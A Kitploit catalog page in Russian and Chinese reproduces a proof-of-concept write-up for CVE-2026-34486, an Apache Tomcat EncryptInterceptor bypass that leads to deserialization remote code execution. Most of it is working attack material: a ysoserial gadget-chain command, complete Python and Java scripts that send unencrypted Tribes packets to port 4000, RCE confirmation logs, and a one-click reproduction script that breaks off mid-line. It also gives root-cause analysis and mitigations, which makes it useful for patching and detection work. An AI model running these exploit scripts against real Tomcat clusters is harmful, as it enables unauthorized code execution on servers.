Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-34486-poc — CVE-2026-34486 Воспроизведение уязвимости обхода EncryptInterceptor в Apache Tomcat (выполнено с использованием GLM5.1) | Kitploit
Инструменты/GitHubGitHub/airskye/cve-2026-34486-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubairskye/cve-2026-34486-poc

CVE-2026-34486-poc

CVE-2026-34486 Воспроизведение уязвимости обхода EncryptInterceptor в Apache Tomcat (выполнено с использованием GLM5.1)

Репозиторий
12124 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-34486 Обход уязвимости Apache Tomcat EncryptInterceptor

1. Обзор уязвимости

АтрибутДетали
Идентификатор CVECVE-2026-34486
Степень серьёзностиImportant / High (CVSS 3.1: 7.5)
Тип уязвимостиCWE-311 Отсутствие шифрования конфиденциальных данных / CWE-807 Ограничение ненадёжных входных данных
Затронутые версииApache Tomcat 9.0.116 / 10.1.53 / 11.0.20
Исправленные версииApache Tomcat 9.0.117 / 10.1.54 / 11.0.21
Корневая причинаВ EncryptInterceptor.messageReceived() вызов super.messageReceived(msg) перемещён за пределы блока try-catch

Корневая причина уязвимости

При исправлении CVE-2026-29146 (Padding Oracle) разработчики реорганизовали метод EncryptInterceptor.messageReceived(), переместив вызов super.messageReceived(msg) из внутренней части блока try наружу:

До исправления (безопасно):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }

root@kitploit:~
**Уязвимый код (опасно):**```java
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(...);
        // 异常被捕获,但执行流继续!
    }
    super.messageReceived(msg);  // ← 在 try 外,无论解密是否成功都会执行!
}

Байт-код верификация (из EncryptInterceptor.class в Tomcat 9.0.116):``` Exception table: from to target type 0 39 42 Class java/security/GeneralSecurityException

// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived

root@kitploit:~
---

## 2. Среда воспроизведения

| Компонент | Версия/Конфигурация |
|---|---|
| Операционная система | Ubuntu 22.04 (песочница) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (уязвимая версия) |
| Библиотека Gadget | Commons Collections 3.1 |
| Инструмент атаки | ysoserial v0.0.6 + пользовательский Python/Java PoC |

### Топология среды```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信

3. Подробные шаги воспроизведения

Шаг 1: Загрузка и установка уязвимой версии Tomcat```bash

下载 Tomcat 9.0.116

wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz

解压两份

tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2

root@kitploit:~
### Шаг 2: Установка библиотеки Gadget```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar

# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/

Шаг 3: Настройка кластера + EncryptInterceptor

Отредактируйте tomcat-node1/conf/server.xml, добавив внутри <Engine>:```xml

root@kitploit:~
> Примечание: `encryptionKey` должен быть в формате шестнадцатеричной строки (например, `546869734973415365637265744B6579` = ASCII-шестнадцатеричное представление "ThisIsASecretKey"), а не строкой в открытом виде.

### Шаг 4: Включение репликации сессий

Добавьте в `webapps/ROOT/WEB-INF/web.xml`:```xml
<distributable/>

Шаг 5: Запуск кластера Tomcat```bash

启动 Node1

cd tomcat-node1 && bin/catalina.sh start

启动 Node2

cd tomcat-node2 && bin/catalina.sh start

验证集群建立

日志中应出现: "Replication member added: ..."

端口 4000/4001 应监听中

root@kitploit:~
**Подтверждение фактического журнала запуска:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
  The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
  It is recommended to switch to using AES/GCM/NoPadding.

INFO [main] ReceiverBase.bind
  Receiver Server Socket bound to:[/172.24.0.7:4000]

INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
  Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]

Шаг 6: Генерация payload для десериализации```bash

使用 ysoserial 生成 CommonsCollections6 gadget chain

(CC6 在 Java 高版本兼容性更好)

java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin

验证 payload 以 Java 序列化魔术字节开头

python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "

root@kitploit:~
### Шаг 7: Формирование и отправка сообщений протокола Tribes

Сообщения Tribes требуют специального формата кадрирования XByteBuffer:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]

其中 ChannelData 载荷结构:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]

root@kitploit:~
**Ключевой момент**: тело сообщения напрямую помещается в незашифрованный Java-сериализованный payload — это и есть ядро эксплуатации уязвимости: EncryptInterceptor попытается расшифровать его, но после неудачи всё равно передаст исходные байты дальше по цепочке.

#### Способ первый: Python PoC-скрипт (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。

用于授权的安全研究环境,严禁用于非法用途。
"""

import socket
import struct
import sys
import os
import time

# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002"   # XByteBuffer 帧起始标记 (7 bytes)
END_DATA   = b"TLF003"    # XByteBuffer 帧结束标记 (7 bytes)

TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"  # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"  # MemberImpl 结束标记 (10 bytes)


def build_member_data(host_bytes, port):
    """构造 MemberImpl 序列化数据"""
    inner = b""
    inner += struct.pack(">q", 0)                  # memberAliveTime (8B)
    inner += struct.pack(">i", port)                # port (4B)
    inner += struct.pack(">i", 0)                   # securePort (4B)
    inner += struct.pack(">i", 0)                   # udpPort (4B)
    inner += struct.pack(">b", len(host_bytes))     # hostLen (1B)
    inner += host_bytes                              # host
    inner += struct.pack(">i", 0)                   # commandLen (4B)
    inner += struct.pack(">i", 0)                   # domainLen (4B)
    inner += os.urandom(16)                          # uniqueId (16B)
    inner += struct.pack(">i", 0)                   # payloadLen (4B)

    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END


def build_channel_data(message_body, host_bytes, port):
    """构造 ChannelData 载荷"""
    unique_id = os.urandom(16)
    member_data = build_member_data(host_bytes, port)

    channel_data = b""
    channel_data += struct.pack(">i", 0)                        # options (无 ACK)
    channel_data += struct.pack(">q", int(time.time() * 1000)) # timestamp
    channel_data += struct.pack(">i", len(unique_id))          # uniqueIdLen
    channel_data += unique_id                                    # uniqueId
    channel_data += struct.pack(">i", len(member_data))        # memberDataLen
    channel_data += member_data                                  # memberData
    channel_data += struct.pack(">i", len(message_body))       # messageLen
    channel_data += message_body                                 # message body

    return channel_data


def build_tribes_packet(channel_data):
    """封装 XByteBuffer 帧"""
    return START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA


def send_exploit(target_ip, target_port, payload_file, receiver_port=4000):
    print(f"[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass")
    print(f"[*] 目标: {target_ip}:{target_port}")
    print(f"[*] Payload: {payload_file}")

    # 读取 payload
    with open(payload_file, 'rb') as f:
        raw_payload = f.read()

    print(f"[*] Payload 大小: {len(raw_payload)} bytes")
    print(f"[*] Payload 魔术字节: {raw_payload[:4].hex()}")

    if raw_payload[:2] != b'\xac\xed':
        print("[!] 警告:payload 不以 Java 序列化魔术字节 (ACED) 开头")

    # 解析目标 IP 为字节数组
    host_bytes = socket.inet_aton(target_ip)

    # 构造 Tribes 消息
    # 漏洞核心:EncryptInterceptor 解密失败后仍将原始字节传递给后续处理链
    # 因此我们直接发送未加密的 Java 序列化 payload 作为消息体
    channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
    packet = build_tribes_packet(channel_data)

    print(f"[*] 完整数据包大小: {len(packet)} bytes")
    print(f"[*] 连接到 {target_ip}:{target_port}...")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))

        print(f"[*] 发送 {len(packet)} 字节的数据包...")
        sock.sendall(packet)

        print("[+] 数据包发送成功!")
        print("[*] 等待目标处理...")

        # 等待可能的响应或 ACK
        try:
            response = sock.recv(4096)
            if response:
                print(f"[*] 收到响应 ({len(response)} bytes): {response[:50].hex()}")
        except socket.timeout:
            pass

        sock.close()
        print("[+] 连接关闭")
        print()
        print("[*] 漏洞触发标志:")
        print("    1. 受害者日志出现: SEVERE: Failed to decrypt message (encryptInterceptor.decrypt.failed)")
        print("    2. 随后发生反序列化 -> RCE")
        print("    3. 没有反序列化异常日志(静默执行)")

    except ConnectionRefusedError:
        print(f"[-] 连接被拒绝,确认端口 {target_port} 是否开放")
        sys.exit(1)
    except Exception as e:
        print(f"[-] 错误: {e}")
        sys.exit(1)


if __name__ == '__main__':
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_ip> <port> <payload_file> [receiver_port]")
        print(f"示例: {sys.argv[0]} 127.0.0.1 4000 payload.bin")
        print(f"      {sys.argv[0]} 127.0.0.1 4000 payload.bin 4000")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])
    payload_file = sys.argv[3]
    receiver_port = int(sys.argv[4]) if len(sys.argv) > 4 else target_port

    if not os.path.exists(payload_file):
        print(f"[-] Payload 文件不存在: {payload_file}")
        sys.exit(1)

    send_exploit(target_ip, target_port, payload_file, receiver_port)

Способ использования:```bash python3 exploit.py 172.24.0.7 4000 payload_touch.bin

root@kitploit:~
#### Способ 2: Java PoC-скрипт (`ExploitSender.java`)```java
import org.apache.catalina.tribes.Channel;
import org.apache.catalina.tribes.ChannelListener;
import org.apache.catalina.tribes.Member;
import org.apache.catalina.tribes.group.GroupChannel;
import org.apache.catalina.tribes.group.interceptors.EncryptInterceptor;
import org.apache.catalina.tribes.transport.Constants;

import java.io.Serializable;

/**
 * CVE-2026-34486 PoC: 通过 Tribes 协议发送未加密的序列化 payload
 * 漏洞核心: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 在 try-catch 外
 * 解密失败后,原始未加密字节仍被传递给后续处理链
 */
public class ExploitSender {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("用法: java ExploitSender <target_host> <target_port> <payload_file>");
            System.exit(1);
        }

        String targetHost = args[0];
        int targetPort = Integer.parseInt(args[1]);
        String payloadFile = args.length > 2 ? args[2] : null;

        System.out.println("[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass");
        System.out.println("[*] 目标: " + targetHost + ":" + targetPort);

        // 读取 payload
        java.io.File f = new java.io.File(payloadFile);
        java.io.FileInputStream fis = new java.io.FileInputStream(f);
        byte[] payload = new byte[(int) f.length()];
        fis.read(payload);
        fis.close();

        System.out.println("[*] Payload 大小: " + payload.length + " bytes");
        System.out.println("[*] Payload 魔术字节: " + String.format("%02x%02x", payload[0], payload[1]));

        // 直接通过 TCP 发送 Tribes 格式的消息
        // 构造 ChannelData 数据包
        java.net.Socket sock = new java.net.Socket(targetHost, targetPort);
        java.io.OutputStream out = sock.getOutputStream();

        // 使用 Tribes 内部格式发送
        // XByteBuffer 帧格式: [START_DATA][length][data][END_DATA]
        byte[] START_DATA = new byte[]{0x46, 0x4C, 0x54, 0x32, 0x30, 0x30, 0x32}; // "FLT2002"
        byte[] END_DATA = new byte[]{0x54, 0x4C, 0x46, 0x32, 0x30, 0x30, 0x33};   // "TLF003"

        // 构造 ChannelData 载荷
        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        java.io.DataOutputStream dos = new java.io.DataOutputStream(baos);

        // options (4B)
        dos.writeInt(0);
        // timestamp (8B)
        dos.writeLong(System.currentTimeMillis());
        // uniqueId length + uniqueId (4B + 16B)
        byte[] uniqueId = new byte[16];
        new java.util.Random().nextBytes(uniqueId);
        dos.writeInt(uniqueId.length);
        dos.write(uniqueId);

        // member data - 构造最小的 MemberImpl
        java.io.ByteArrayOutputStream memberBaos = new java.io.ByteArrayOutputStream();
        java.io.DataOutputStream memberDos = new java.io.DataOutputStream(memberBaos);

        byte[] TRIBES_MBR_BEGIN = "TRIBES-B".getBytes();
        byte[] TRIBES_MBR_END = "TRIBES-E".getBytes();

        // MemberImpl inner data
        java.io.ByteArrayOutputStream innerBaos = new java.io.ByteArrayOutputStream();
        java.io.DataOutputStream innerDos = new java.io.DataOutputStream(innerBaos);
        innerDos.writeLong(0);  // memberAliveTime
        innerDos.writeInt(targetPort);  // port
        innerDos.writeInt(0);   // securePort
        innerDos.writeInt(0);   // udpPort
        byte[] hostBytes = java.net.InetAddress.getByName(targetHost).getAddress();
        innerDos.writeByte(hostBytes.length);  // hostLen
        innerDos.write(hostBytes);              // host
        innerDos.writeInt(0);  // commandLen
        innerDos.writeInt(0);  // domainLen
        innerDos.write(new byte[16]);  // uniqueId (16B)
        innerDos.writeInt(0);  // payloadLen
        innerDos.flush();
        byte[] innerData = innerBaos.toByteArray();

        // Full member data
        memberDos.write(TRIBES_MBR_BEGIN);
        memberDos.writeByte(0x01);
        memberDos.writeByte(0x00);
        memberDos.writeInt(innerData.length);
        memberDos.write(innerData);
        memberDos.write(TRIBES_MBR_END);
        memberDos.writeByte(0x01);
        memberDos.writeByte(0x00);
        memberDos.flush();
        byte[] memberData = memberBaos.toByteArray();

        // Write member data length + data
        dos.writeInt(memberData.length);
        dos.write(memberData);

        // Write message body length + payload (未加密的序列化数据)
        dos.writeInt(payload.length);
        dos.write(payload);
        dos.flush();

        byte[] channelData = baos.toByteArray();

        // 构造完整帧
        java.io.ByteArrayOutputStream frameBaos = new java.io.ByteArrayOutputStream();
        frameBaos.write(START_DATA);
        // length as 4 bytes big-endian
        frameBaos.write(new byte[]{
            (byte) ((channelData.length >> 24) & 0xFF),
            (byte) ((channelData.length >> 16) & 0xFF),
            (byte) ((channelData.length >> 8) & 0xFF),
            (byte) (channelData.length & 0xFF)
        });
        frameBaos.write(channelData);
        frameBaos.write(END_DATA);

        byte[] packet = frameBaos.toByteArray();
        System.out.println("[*] 完整数据包大小: " + packet.length + " bytes");
        System.out.println("[*] 发送数据包...");

        out.write(packet);
        out.flush();

        System.out.println("[+] 数据包发送成功!");

        // 等待响应
        Thread.sleep(2000);

        sock.close();
        System.out.println("[+] 连接关闭");
    }
}

Компиляция и запуск:```bash

编译(需要 catalina-tribes.jar 在 classpath 中)

javac -cp tomcat-node1/lib/catalina-tribes.jar ExploitSender.java

运行

java -cp .:tomcat-node1/lib/catalina-tribes.jar ExploitSender 172.24.0.7 4000 payload_touch.bin

root@kitploit:~
### Шаг 8: Проверка срабатывания уязвимости

**Журнал жертвы (сбой расшифровки + сообщение всё равно доставлено):**```
15-Apr-2026 03:46:34.056 SEVERE [Tribes-Task-Receiver[Catalina-Channel]-4]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher
    at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
    at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
    ...
    at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134)

Успешная проверка RCE (файл-маркер создан):``` $ ls -la /tmp/CVE-2026-34486-PWNED -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED

root@kitploit:~
---

## 四、Полная схема цепочки эксплуатации уязвимостей

---```
攻击者
  │
  │  TCP 连接到 172.24.0.7:4000
  │  发送 XByteBuffer 帧 (FLT2002 + ChannelData + TLF003)
  │  ChannelData.message = 未加密的 Java 序列化 payload (CC6 gadget)
  │
  ▼
NioReceiver
  │  解帧: 识别 FLT2002/TLF003,提取 ChannelData
  │  ChannelData.getDataFromPackage() 解析消息
  ▼
ChannelCoordinator.messageReceived()
  │  沿拦截器链向上传递
  ▼
TcpFailureDetector.messageReceived()
  ▼
EncryptInterceptor.messageReceived()  ← 漏洞点
  │
  │  try {
  │    data = msg.getMessage().getBytes();     // 获取 payload 原始字节
  │    data = encryptionManager.decrypt(data);  // ❌ 解密失败!
  │    // → 抛出 IllegalBlockSizeException
  │  } catch (GeneralSecurityException gse) {
  │    log.error("Failed to decrypt message");  // 仅记录日志
  │    // 异常被吞,执行流继续
  │  }
  │
  │  super.messageReceived(msg);  ← 💀 在 try-catch 外,仍会执行!
  │                                 msg 中仍是攻击者的原始字节
  ▼
MessageDispatchInterceptor.messageReceived()
  ▼
GroupChannel.messageReceived()
  │  反序列化: ObjectInputStream.readObject()  ← 无类过滤!
  ▼
CommonsCollections6 Gadget Chain 执行
  │  Runtime.exec("touch /tmp/CVE-2026-34486-PWNED")
  ▼
RCE 成功 ✅

5. Сводка ключевых доказательств

5.1 Байткод-доказательства уязвимого кода

Декомпиляция EncryptInterceptor.class из Tomcat 9.0.116:

СмещениеИнструкцияЗначение
0-38содержимое блока trydecrypt() + замена тела сообщения
39goto 60нормальный переход в конец блока try
42-58блок catchперехват GeneralSecurityException, только log.error
60aload_0, aload_1загрузка this и msg
62invokespecial #136super.messageReceived(msg)

Таблица исключений: from=0, to=39, target=42 — смещение 60 явно находится за пределами блока try.

5.2 Доказательства во время выполнения

ДоказательствоСодержание
Журнал ошибок расшифровкиSEVERE: Failed to decrypt message + IllegalBlockSizeException
Файл-маркер RCE/tmp/CVE-2026-34486-PWNED создан Apr 15 03:46
Журнал исключений десериализацииотсутствует — payload выполняется молча

5.3 Скрытность атаки

В журнале только одна запись SEVERE EncryptInterceptor.decrypt.failed, никаких исключений десериализации. Это означает:

  • Защитник, следящий только за исключениями десериализации, не обнаружит атаку
  • Единственная зацепка — «Failed to decrypt message», которую в среде с включённым EncryptInterceptor можно ошибочно принять за сетевую проблему

6. Исправление

6.1 Официальное исправление

Обновитесь до исправленной версии: Tomcat 9.0.117 / 10.1.54 / 11.0.21.

Метод исправления: super.messageReceived(msg) перемещён обратно внутрь блока try, чтобы только успешно расшифрованные сообщения передавались дальше.

6.2 Временные меры смягчения

Если немедленное обновление невозможно:

  1. На уровне сети: с помощью межсетевого экрана ограничьте порт связи Tribes (по умолчанию TCP 4000), разрешив доступ только с IP-адресов узлов кластера
  2. Удалите EncryptInterceptor: если шифрование кластера не требуется, удалите этот перехватчик (но это приведёт к потере защиты шифрованием)
  3. Добавьте фильтр сериализации: на уровне JVM добавьте ObjectInputFilter, ограничивающий классы, доступные для десериализации

7. Очистка среды воспроизведения```bash

停止 Tomcat

tomcat-node1/bin/shutdown.sh tomcat-node2/bin/shutdown.sh

清理标志文件

rm -f /tmp/CVE-2026-34486-PWNED

清理整个环境

rm -rf tomcat-lab/

root@kitploit:~
---

## VIII. Резюме

CVE-2026-34486 — это критическая регрессионная уязвимость, вызванная **смещением одной строки кода**. Она идеально иллюстрирует закономерность: «само исправление безопасности может внести новые уязвимости»:

1. **Исправление Padding Oracle (CVE-2026-29146)** → рефакторинг менеджера шифрования
2. **Смещение кода в процессе рефакторинга** → `super.messageReceived(msg)` вынесен за пределы блока try
3. **Полный отказ перехватчика шифрования** → незашифрованные байты напрямую передаются в нефильтрованную точку десериализации
4. **Результат**: кластер, намеренно включивший защиту шифрованием, становится наиболее уязвимой целью для RCE-атак

Данное воспроизведение полностью подтвердило всю цепочку — от отправки незашифрованного payload до успешного выполнения RCE, доказав практическую эксплуатируемость уязвимости.

---

## IX. Скрипт однокнопочного воспроизведения

> Приведённый ниже скрипт позволяет на чистой машине Ubuntu/Debian одним нажатием выполнить полное воспроизведение CVE-2026-34486. Скрипт автоматически обнаруживает и устанавливает зависимости (JDK, Python3), загружает уязвимую версию Tomcat, настраивает кластер + EncryptInterceptor, генерирует payload, отправляет атаку и выводит результат проверки.
>
> **Использование**: сохраните как `cve-2026-34486-repro.sh`, выполните `chmod +x cve-2026-34486-repro.sh && sudo ./cve-2026-34486-repro.sh````bash
#!/usr/bin/env bash
#===============================================================================
# CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本
#
# 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg)
# 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链,
# 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
#
# 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
#
# 本脚本仅用于授权的安全研究环境,严禁用于非法用途。
#===============================================================================

set -e

# ==================== 配置区 ====================
TOMCAT_VERSION="9.0.116"
TOMCAT_MAJOR="9"
WORKDIR="/opt/cve-2026-34486-lab"
NODE1_HTTP_PORT=18080
NODE2_HTTP_PORT=28080
NODE1_SHUTDOWN_PORT=18005
NODE2_SHUTDOWN_PORT=18005
NODE1_TRIBES_PORT=4000
NODE2_TRIBES_PORT=4001
ENCRYPTION_KEY_HEX="546869734973415365637265744B6579"  # "ThisIsASecretKey" 的十六进制
RCE_MARKER="/tmp/CVE-2026-34486-PWNED"
YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar"

# ==================== 颜色输出 ====================
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

info()    { echo -e "${CYAN}[*]${NC} $1"; }
ok()      { echo -e "${GREEN}[+]${NC} $1"; }
warn()    { echo -e "${YELLOW}[!]${NC} $1"; }
fail()    { echo -e "${RED}[-]${NC} $1"; exit 1; }

# ==================== 1. 检测并安装依赖 ====================
info "步骤 1/8: 检测并安装依赖..."

# 检测 root
if [ "$EUID" -ne 0 ]; then
    fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)"
fi

# 安装基础工具
apt-get update -qq
apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1

# 验证 Java
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac))))
java -version 2>&1 | head -1
ok "Java 已就绪: $JAVA_HOME"

# 验证 Python3
python3 --version
ok "Python3 已就绪"

# ==================== 2. 创建工作目录 ====================
info "步骤 2/8: 创建工作目录..."
rm -rf "$WORKDIR"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

# ==================== 3. 下载 Tomcat 漏洞版本 ====================
info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..."

TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz"

wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接"
ok "Tomcat ${TOMCAT_VERSION} 下载完成"

tar -xzf tomcat.tar.gz
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2
ok "Tomcat 解压完成 (两个节点)"

# ==================== 4. 安装 Gadget 库 ====================
info "步骤 4/8: 下载 Commons Collections 3.1..."

wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败"
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
ok "Commons Collections 3.1 已安装到两个节点"

# ==================== 5. 下载 ysoserial ====================
info "步骤 5/8: 下载 ysoserial..."

wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败"
ok "ysoserial 下载完成"

# ==================== 6. 配置 Tomcat 集群 ====================
info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..."

# --- Node1 server.xml ---
cat > /tmp/node1-server.xml.patch.py << 'PYEOF'
import re, sys

with open(sys.argv[1], 'r') as f:
    xml = f.read()

# 修改 HTTP 端口
xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1)
# 修改 shutdown 端口
xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1)

# 在 <Engine> 标签后插入集群配置
cluster_xml = '''
  <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
           channelSendOptions="8">
    <Manager className="org.apache.catalina.ha.session.DeltaManager"
             expireSessionsOnShutdown="false"
             notifyListenersOnReplication="true"/>
    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
                   encryptionAlgorithm="AES/CBC/PKCS5Padding"
                   encryptionKey="''' + sys.argv[4] + '''"/>
      <Membership className="org.apache.catalina.tribes.membership.McastService"
                  address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/>
      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                address="auto" port="''' + sys.argv[5] + '''" autoBind="100"
                selectorTimeout="5000" maxThreads="6"/>
      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
      </Sender>
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/>
    </Channel>
    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
    <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
  </Cluster>
'''

# 替换被注释的 Cluster 占位符
xml = re.sub(
    r'<!--For clustering.*?<!--\s*<Cluster[^/]*/>\s*-->',
    cluster_xml,
    xml,
    flags=re.DOTALL
)

with open(sys.argv[1], 'w') as f:
    f.write(xml)
PYEOF

python3 /tmp/node1-server.xml.patch.py \
    "$WORKDIR/tomcat-node1/conf/server.xml" \
    "$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \
    "$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT"

python3 /tmp/node1-server.xml.patch.py \
    "$WORKDIR/tomcat-node2/conf/server.xml" \
    "$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \
    "$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT"

ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})"

# 创建 web.xml (启用 Session 复制)
for node in tomcat-node1 tomcat-node2; do
    mkdir -p "$node/webapps/ROOT/WEB-INF"
    cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <distributable/>
</web-app>
XMLEOF
done
ok "web.xml 配置完成 (distributable)"

# ==================== 7. 启动集群并攻击 ====================
info "步骤 7/8: 启动 Tomcat 集群..."

chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh

export JAVA_HOME
cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start
cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start
cd "$WORKDIR"

info "等待集群启动 (15秒)..."
sleep 15

# 检查端口
if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then
